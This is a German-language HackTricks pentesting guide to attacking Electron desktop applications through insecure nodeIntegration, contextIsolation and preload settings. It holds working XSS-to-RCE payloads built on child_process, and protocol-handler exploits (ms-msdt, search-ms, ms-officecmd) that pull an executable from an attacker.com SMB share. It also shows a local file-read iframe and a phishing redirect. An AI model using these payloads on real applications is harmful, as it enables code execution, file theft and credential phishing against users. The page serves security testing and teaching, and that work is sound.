Electron-Desktop-Apps
Reading time: 12 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Einführung
Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.
Normalerweise finden Sie den Code der Electron-App in einer .asar
-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Im Quellcode einer Electron-App, innerhalb von packet.json
, finden Sie die angegebene main.js
-Datei, in der die Sicherheitskonfigurationen festgelegt sind.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron hat 2 Prozessarten:
- Hauptprozess (hat vollständigen Zugriff auf NodeJS)
- Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)
Ein Renderer-Prozess wird ein Browserfenster sein, das eine Datei lädt:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Die Einstellungen des Renderer-Prozesses können im Hauptprozess in der Datei main.js konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen hat, wenn die Einstellungen korrekt konfiguriert sind.
Die Electron-Anwendung könnte auf das Gerät zugreifen über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:
nodeIntegration
- ist standardmäßigaus
. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess.contextIsolation
- ist standardmäßigein
. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert.preload
- standardmäßig leer.sandbox
- ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann.- Node-Integration in Workern
nodeIntegrationInSubframes
- ist standardmäßigaus
.- Wenn
nodeIntegration
aktiviert ist, würde dies die Verwendung von Node.js-APIs in Webseiten ermöglichen, die in iframes innerhalb einer Electron-Anwendung geladen werden. - Wenn
nodeIntegration
deaktiviert ist, werden Preloads im iframe geladen.
Beispiel für eine Konfiguration:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Einige RCE-Payloads von hier:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Verkehr erfassen
Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Lokale Code-Injektion
Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Wenn nodeIntegration auf ein gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von require()
verwenden. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
RCE: preload
Das in dieser Einstellung angegebene Skript wird vor anderen Skripten im Renderer geladen, sodass es uneingeschränkten Zugriff auf Node-APIs hat:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Daher kann das Skript node-features auf Seiten exportieren:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Wenn
contextIsolation
aktiviert ist, funktioniert das nicht
RCE: XSS + contextIsolation
Die contextIsolation führt die getrennten Kontexte zwischen den Webseitenskripten und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung jedes Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
- Willkürliches JavaScript im Renderer ausführen (XSS oder Navigation zu externen Seiten)
- Die eingebaute Methode überschreiben, die in Preload oder internem Electron-Code verwendet wird, um eine eigene Funktion zu erstellen
- Die Verwendung der überschriebenen Funktion auslösen
- RCE?
Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Electron-Code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Umgehung des Klickereignisses
Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese zu umgehen, indem Sie einen Mittelklick anstelle eines regulären Links klicken.
window.addEventListener('click', (e) => {
RCE über shell.openExternal
Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/
Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration
und contextIsolation
sicherzustellen. Es ist bekannt, dass client-seitige Remote-Code-Ausführung (RCE), die auf Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess abzielt, mit diesen Einstellungen effektiv verhindert wird.
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignis-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Diese Listener werden vom Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, openInternally
, getroffen. Wenn diese Funktion false
zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, unter Verwendung der Funktion shell.openExternal
.
Hier ist ein vereinfachter Pseudocode:
Die besten Sicherheitspraktiken von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion openExternal
zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann auf diese Ressource verwiesen werden, die Beispiele für Windows-Protokolle enthält, die diese Schwachstelle ausnutzen können.
Beispiele für Windows-Protokoll-Exploits sind:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
Interne Dateien lesen: XSS + contextIsolation
Das Deaktivieren von contextIsolation
ermöglicht die Verwendung von <webview>
-Tags, ähnlich wie <iframe>
, zum Lesen und Exfiltrieren lokaler Dateien. Ein bereitgestelltes Beispiel zeigt, wie man diese Schwachstelle ausnutzt, um den Inhalt interner Dateien zu lesen:
Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dies beinhaltet das Injizieren eines Skripts, um die Anwendung auszunutzen und Daten zu exfiltrieren:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Alte Chromium
Wenn das chromium, das von der Anwendung verwendet wird, alt ist und es bekannte Sicherheitsanfälligkeiten gibt, könnte es möglich sein, es zu nutzen und RCE über ein XSS zu erhalten.
Siehe ein Beispiel in diesem writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing über interne URL Regex-Umgehung
Angenommen, Sie haben ein XSS gefunden, aber Sie können RCE nicht auslösen oder interne Dateien stehlen, könnten Sie versuchen, es zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.
Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Der Aufruf von openInternally
entscheidet, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, oder ob er im Browser als Drittanbieter-Ressource geöffnet wird.
Falls der von der Funktion verwendete Regex anfällig für Umgehungen ist (zum Beispiel durch das Nicht-Escapen der Punkte von Subdomains), könnte ein Angreifer das XSS ausnutzen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und den Benutzer nach Anmeldeinformationen fragt:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Tools
- Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheitsantipatterns in auf Electron basierenden Anwendungen.
- Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
- nodejsscan zur Überprüfung auf anfällige Drittanbieterbibliotheken
- Electro.ng: Sie müssen es kaufen
Labs
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um anfällige Electron-Apps auszunutzen.
Einige Befehle, die Ihnen im Labor helfen werden:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referenzen
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Weitere Forschungen und Berichte über die Sicherheit von Electron in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.